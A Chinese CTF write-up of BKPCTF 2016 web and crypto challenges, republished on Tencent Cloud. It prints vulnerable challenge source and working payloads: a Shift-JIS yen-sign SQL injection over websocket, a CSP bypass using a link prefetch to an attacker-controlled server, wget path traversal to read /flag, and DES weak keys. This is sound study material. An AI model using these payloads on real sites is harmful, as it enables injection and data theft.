前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >bkp2016_writeup

bkp2016_writeup

作者头像
LoRexxar
发布2023-02-21 14:20:46
3130
发布2023-02-21 14:20:46
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog

周末打了个波士顿的bostonpartyctf,虽然排名不高,但是web学到了挺多有意思的东西…

代码语言:javascript
复制
1 - HITCON - 96
2 - b1o0p - 96
3 - PPP - 87
4 - Eat Sleep Pwn Repeat - 82
5 - LC↯BC - 78
6 - PartOfShellphish - 75
7 - RoKyc - 71
8 - Dragon Sector - 68
9 - !SpamAndHex - 67
10 - KAIST GoN - 67
85 - HDUISA - 17

WEB

web 1 (sjis编码)

刚刚打开是一个什么特别谜的东西,按回车也没弄明白怎么回事,后来给了源码,才发现是自己的浏览器有毒…

ganbatte.py

代码语言:javascript
复制
#!/usr/bin/env python

from flask import Flask, render_template, Response
from flask_sockets import Sockets
import json
import MySQLdb

app = Flask(__name__)
sockets = Sockets(app)

with open("config.json") as f:
 connect_params = json.load(f)

connect_params["db"] = "ganbatte"

# Use Shift-JIS for everything so it uses less bytes
Response.charset = "shift-jis"
connect_params["charset"] = "sjis"

questions = [
  "name",
  "quest",
  "favorite color",
]

# List from http://php.net/manual/en/function.mysql-real-escape-string.php
MYSQL_SPECIAL_CHARS = [
  ("\\", "\\\\"),
  ("\0", "\\0"),
  ("\n", "\\n"),
  ("\r", "\\r"),
  ("'", "\\'"),
  ('"', '\\"'),
  ("\x1a", "\\Z"),
]
def mysql_escape(s):
  for find, replace in  MYSQL_SPECIAL_CHARS:
    s = s.replace(find, replace)
  return s

@sockets.route('/ws')
def process_questsions(ws):
  i = 0
  conn = MySQLdb.connect(**connect_params)
  with conn as cursor:
    ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
    while not ws.closed:
      message = ws.receive()
      if not message: continue
      message = json.loads(message)
      if message["type"] == "answer":
        question = mysql_escape(questions[i])
        answer = mysql_escape(message["answer"])
        cursor.execute('INSERT INTO answers (question, answer) VALUES ("%s", "%s")' % (question, answer))
        conn.commit()
        i += 1
        if i < len(questions):
          ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
      elif message["type"] == "get_answer":
        question = mysql_escape(message["question"])
        answer = mysql_escape(message["answer"])
        cursor.execute('SELECT * FROM answers WHERE question="%s" AND answer="%s"' % (question, answer))
        ws.send(json.dumps({"type": "got_answer", "row": cursor.fetchone()}))x
      print message

@app.route('/')
def hello():
  return app.send_static_file("index.html")

if __name__ == "__main__":
  from gevent import pywsgi
  from geventwebsocket.handler import WebSocketHandler
  addr = ('localhost', 5000)

  server = pywsgi.WSGIServer(addr, app, handler_class=WebSocketHandler)
  server.serve_forever()

还有个js,是socket的初始化. 整个站是flask+web_socket的站。

仔细读读源码大概就是type=answer是插入数据。type=get_answer是select数据,发现编码是一个传说中的日文编码sjis,本来以为是宽字节,结果搜到socket不能urlencode,所以传入的%bf%5c这样的就是当作6个字符,而不是uncode为符号,所以卡了很久,后来从一个小伙伴那里知道,在sjis中有个符号(js中String.fromCharCode(0xa5))可以代替\,所以payload是这样的。

SENT: {"type":"get_answer","question":"name¥","answer":"||1#"} 这里的这个¥可以代替\,这样就可以转义后面的双引号,然后就会返回第一条数据。 RESPONSE: {"type": "got_answer", "row": [1, "flag", "BKPCTF{TryYourBestOnTheOthersToo}"]}

关于符号的问题是从这里看到的。 http://www.tryphp.net/phpsecurity-sql/

注意站是日文,而且是utf-8编码,加载成功后符号就会变成.….

后来看别人的writeup,找到一篇文章. http://www.we-edit.de/stackoverflow/question/how-to-create-a-sql-injection-attack-with-shift-jis-and-cp932-28705324.html

web2 bug bounty(xss bypass csp)

一个类似于bug提交平台,提交bug,输对验证码就会提交成功,然后就有人审核。 感觉有点儿像xss,但是开了CSP;

代码语言:javascript
复制
Content-Security-Policy
default-src 'none'; connect-src 'self'; frame-src 'self'; script-src 52.87.183.104:5000/dist/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs='; font-src 52.87.183.104:5000/dist/fonts/ fonts.gstatic.com; style-src 52.87.183.104:5000/dist/css/ fonts.googleapis.com; img-src 'self';

看了看感觉没什么问题,然后就去找关于bypass csp的文章了,后来找到一个掉炸天的ppt,有时间专门写一个博客研究下。

这题知道是bypass csp,但是没什么想法,后来看到writeup才发现是一个知道的东西,果然黑盒和白盒测试不太一样…

payload:

代码语言:javascript
复制
<link rel="prefetch" href="http://your-server/">

提交并输对验证码就会有人打开审核的。

web3 OptiProxy (ruby web+wget 参数)

最开始看到源码简直懵了…这个ctf举办方好有感觉,不是python就是ruby,吊!

代码语言:javascript
复制
require 'nokogiri'
require 'open-uri'
require 'sinatra'
require 'shellwords'
require 'base64'
require 'fileutils'

set :bind, "0.0.0.0"
set :port, 5300
cdir = Dir.pwd                          //dir.pwd返回当前路劲
get '/' do
        str = "welcome to the automatic resource inliner, we inline all images"
        str << " go to /example.com to get an inlined version of example.com"
        str << " flag is in /flag"
        str << " source is in /source"
        str
end

get '/source' do
        IO.read "/home/optiproxy/optiproxy.rb"
end

get '/flag' do
        str = "I mean, /flag on the file system... If you're looking here, I question"
        str << " your skills"
        str
end

get '/:url' do
        url = params[:url]
        main_dir = Dir.pwd            //返回当前路径
        temp_dir = ""
        dir = Dir.mktmpdir "inliner"     //在tmp下创建一个inliner+随机数的文件夹
        Dir.chdir dir                   //改变当前目录
        temp_dir = dir                  //复制给temp_dir 
        exec = "timeout 5 wget -T 2 --page-requisites #{Shellwords.shellescape url}"            //shellwords.shellescape对url进行转义
        `#{exec}`                         //执行命令行wget
        my_dir = Dir.glob ("**/")              //匹配所有文件夹,以数组的方式返回
        Dir.chdir my_dir[0]                    //改变当前目录为第一个(也就是wget回来的)
        index_file = "index.html"
        html_file = IO.read index_file             //返回index.html的源码
        doc = Nokogiri::HTML(open(index_file))
        doc.xpath('//img').each do |img|                                   //遍历index.html的所有img标签                   
                header = img.xpath('preceding::h2[1]').text
                image = img['src']
                img_data = ""
                uri_scheme = URI(image).scheme
                begin                                    // try
                        if (uri_scheme == "http" or uri_scheme == "https")        //拼接url
                                url = image
                        else
                                url = "http://#{url}/#{image}"
                        end
                        img_data = open(url).read
                        b64d = "data:image/png;base64," + Base64.strict_encode64(img_data)
                        img['src'] = b64d
                rescue                               //相当于catch
                        # gotta catch 'em all
                        puts "lole"
                        next
                end
        end
        puts dir
        FileUtils.rm_rf dir    //删掉所有内容。
        Dir.chdir main_dir
        doc.to_html
end

先学了一下午的ruby web基本看懂了,站基本是一个代理一样的东西。就像 http://optiproxy.bostonkey.party:5300/example.com 他会wget example.com的首页index.html和img,然后返回,并把Img src的内容以base64的方式返回回来。

在服务器上写一个img标签,<img src="http://www.baidu.com" /> 因为是wget,所以还是外网,不知道怎么读本地的东西,卡了很久,后来别人告诉我,我才知道是wget的–page-requisites参数,如果你的img像这样写 <img src="http:/../../../../flag" /> 那么就能过他的http头判定,然后服务器wget会建立一个http:的文件夹,接着就能读到/flag了,吊吊吊…

PPC & Crypto

des ofb (des 弱口令密钥)

题目不是我做的,但是还是很有收获。 没思路,一脸懵逼 https://eprint.iacr.org/2007/385.pdf DES弱密钥,有四个: weak_pass = [ ‘\x01’8, ‘\xfe’8, ‘\xe0’4 + ‘\xf1’4, ‘\x1f’4 + ‘\x0e’4 ] 写脚本解密一下就出来了。

具体有朋友的博客

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2016/03/07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • WEB
    • web 1 (sjis编码)
      • web2 bug bounty(xss bypass csp)
        • web3 OptiProxy (ruby web+wget 参数)
        • PPC & Crypto
          • des ofb (des 弱口令密钥)
          相关产品与服务
          验证码
          腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档